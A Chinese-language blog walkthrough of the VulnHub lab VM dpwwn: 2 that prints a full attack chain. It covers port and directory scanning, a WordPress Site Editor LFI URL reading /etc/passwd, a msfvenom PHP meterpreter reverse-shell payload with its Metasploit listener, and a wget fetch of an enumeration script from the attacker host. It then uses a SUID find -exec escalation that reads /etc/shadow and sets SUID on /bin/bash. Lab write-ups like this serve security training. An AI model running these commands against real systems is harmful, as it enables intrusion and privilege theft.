『VulnHub系列』dpwwn: 2-Walkthrough

靶機地址

難度:中等+
靶機發布日期:2019年8月8日

在這裏插入圖片描述
靶機描述:This boot2root is a linux based virtual machine and has been tested using VMware workstation.

Difficulty: Intermediate++ and fun.

Goal: Get the root shell i.e.(root@dpwwn-02:~#) and then obtain flag under /root(dpwwn-02-FLAG.txt).

Networking

DHCP service: Disabled

Static IP address: 10.10.10.10

Note: Host only network adapter set (VM IP: 10.10.10.10/24)

博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]

工具、知識點和漏洞

  • nmap
  • gobuster
  • searchsploit
  • metaspaloit
  • msfvenom

0x00、網絡初始化

第一步,設置VMware的vmnet1(Host only)的子網IP爲10.10.10.0,子網掩碼255.255.255.0。

如果你也是用的Linux宿主機,那麼需要通過命令行打開vmware,且使用root權限:sudo vmware才能修改VMware的網絡配置。

在這裏插入圖片描述
第二步,設置靶機的網絡爲Host only。

第三步,配置kali的網絡爲Host only,手動其網絡。

ifconfig eth0 10.10.10.12 netmask 255.255.255.0

在這裏插入圖片描述

0x01、信息收集

靶機IP:10.10.10.10

端口和服務

nmap -sS -sV -A -T5 -p- 10.10.10.10 --system-dns

在這裏插入圖片描述
在這裏插入圖片描述
頁面、目錄枚舉

dirb http://10.10.10.10 -X .php,.txt,.zip,.html

在這裏插入圖片描述

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在這裏插入圖片描述
http://10.10.10.10/

在這裏插入圖片描述

wpscan掃描,現在使用wpscan需要使用官方的api-token,這個可以自己註冊一個免費賬號,但是掃描的時候報錯了,看了一下因爲kali現在連接不了外網,解決辦法是把kali的網絡連接模式改成NAT,這樣既可以訪問靶機也可以訪問外網。

在這裏插入圖片描述
檢測到如下漏洞:

在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述
site editor插件存在LFI漏洞,http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

在這裏插入圖片描述
在這裏插入圖片描述
嘗試掛載nfs共享,提示被服務器拒絕了,想到有可能是網絡的問題,所以修改kali的網絡設置爲host only,然後用ifconfig臨時配置了kali的IP爲10.10.10.12,之後成功掛載

在這裏插入圖片描述

0x01、getshell

用LFI配合NFS共享打一波組合拳,反彈一下shell

ifconfig命令查看kali的IP:10.10.10.12

第一步,msfvenom生成webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.12 LPORT=1234 R > shell.php

!!!注意:使用時需要去掉最開頭的兩個字符/*,不然瀏覽器訪問反彈shell的php網頁會看到/*,並且無法反彈shell.

在這裏插入圖片描述
第二步,msfconsole接收反彈的shell

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

第三步,使用curl或者瀏覽器發起請求

curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php\?ajax_path\=/home/dpwwn02/webshell.php

在這裏插入圖片描述
獲取shell之後的第一步使用Python獲取一個tty

python -c 'import pty; pty.spawn("/bin/bash")'

0x02、提權

關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux

先在kali上開啓HTTP服務

python -m SimpleHTTPServer 65534

使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄

因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

爲了便於查看收集到的信息,我將結果輸出到report.txt文本中

python linuxprivchecker.py > report.txt

靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。

SUID權限可執行文件,發現find命令具有SUID權限

find / -perm -u=s -type f 2>/dev/null

在這裏插入圖片描述
在這裏插入圖片描述

想直接使用find反彈shell的,結果因爲靶機是Ubuntu系統,出於安全考慮默認是無法使用-e參數的

在這裏插入圖片描述
使用SUID權限的find命令提權時主要是利用它的-exec參數,比如,執行nc命令;配合cat 讀取/etc/shadow。感覺還是賊好玩的~

在這裏插入圖片描述
本來想用echo往/etc/passwd添加一個超管用戶的,結果提示沒有權限……

在這裏插入圖片描述
嗯~這怎麼難得到我,SUID權限的/bin/bash可以提權,對吧~那我們來一波騷氣的操作。用find配合chmod給/bin/bash賦予SUID權限。

find hack -exec chmod u+s /bin/bash \;

在這裏插入圖片描述
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章